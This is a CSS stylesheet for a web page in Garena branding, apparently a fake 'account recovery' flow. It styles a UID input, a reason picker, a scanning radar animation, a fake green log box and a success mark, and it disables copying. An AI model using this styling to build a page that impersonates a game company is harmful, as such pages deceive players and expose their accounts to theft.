:root {
    --garena-red: #ff4655;
    --dark-gray: #1a1a1a;
    --light-gray: #f4f4f4;
}

/* حماية منع النسخ والتحديد */
* {
    margin: 0; padding: 0; box-sizing: border-box;
    font-family: 'Tajawal', sans-serif;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
}

html, body { height: 100%; overflow: hidden; background-color: #0c0c0c; color: white; }

body::before {
    content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%;
    background: url('https://img.tapimg.net/market/images/9924e2336338e8156108169994c9657b.jpg') no-repeat center center/cover;
    opacity: 0.15; z-index: -1;
}

header {
    background-color: rgba(0, 0, 0, 0.9); padding: 10px 5%;
    border-bottom: 3px solid var(--garena-red); display: flex;
    justify-content: space-between; align-items: center;
}

.logo { height: 40px; }

.main-container {
    flex: 1; display: flex; align-items: center; justify-content: center;
    padding: 10px; width: 100%; max-width: 800px; margin: 20px auto;
}

.recovery-box {
    background: #1a1a1a; border-radius: 8px; overflow: hidden;
    box-shadow: 0 15px 30px rgba(0,0,0,0.6); border: 1px solid #333; width: 100%;
}

.box-header { background: #252525; padding: 12px; text-align: center; border-bottom: 1px solid #333; }
.box-header h1 { font-size: 18px; color: #fff; }

.steps-bar { display: flex; background: #111; padding: 10px; justify-content: space-around; }
.step { font-size: 11px; color: #666; display: flex; align-items: center; gap: 5px; }
.step.active { color: var(--garena-red); font-weight: bold; }
.step-num { width: 20px; height: 20px; background: #333; color: #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 10px; }
.step.active .step-num { background: var(--garena-red); }

.content { padding: 20px 30px; }
.phase { display: none; }
.active-phase { display: block; animation: fadeIn 0.5s ease; }

@keyframes fadeIn { from {opacity: 0;} to {opacity: 1;} }

input[type="text"] {
    width: 100%; padding: 12px; background: #000; border: 1px solid #444;
    color: white; border-radius: 5px; font-size: 16px; margin-bottom: 8px;
    text-align: center;
}

#uidError { color: var(--garena-red); font-size: 12px; display: none; text-align: center; margin-bottom: 10px;}

.reasons-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 10px; margin-bottom: 20px; }
.reason-item { background: #252525; border: 1px solid #333; padding: 12px; border-radius: 5px; text-align: center; cursor: pointer; }
.reason-item.selected { border-color: var(--garena-red); background: #333; }
.reason-item i { font-size: 20px; color: var(--garena-red); margin-bottom: 5px; display: block; }

.btn-submit {
    background: var(--garena-red); color: white; border: none; width: 100%;
    padding: 14px; font-size: 16px; font-weight: bold; border-radius: 5px; cursor: pointer;
}

.loading-area { text-align: center; }
.radar-box { position: relative; width: 80px; height: 80px; margin: 0 auto 15px; border: 2px solid #222; border-radius: 50%; overflow: hidden; }
.radar-line { position: absolute; width: 100%; height: 2px; background: var(--garena-red); top: 0; animation: scanMove 2s linear infinite; }

@keyframes scanMove { 0% { top: 0; } 100% { top: 100%; } }

.log-box { background: #000; padding: 10px; border-radius: 5px; font-family: monospace; font-size: 10px; color: #00ff00; text-align: right; height: 80px; overflow: hidden; margin-top: 10px;}

footer { text-align: center; padding: 15px; color: #666; font-size: 10px; background: rgba(0,0,0,0.8); }
.success-mark { color: #2ecc71; font-size: 50px; margin-bottom: 10px; }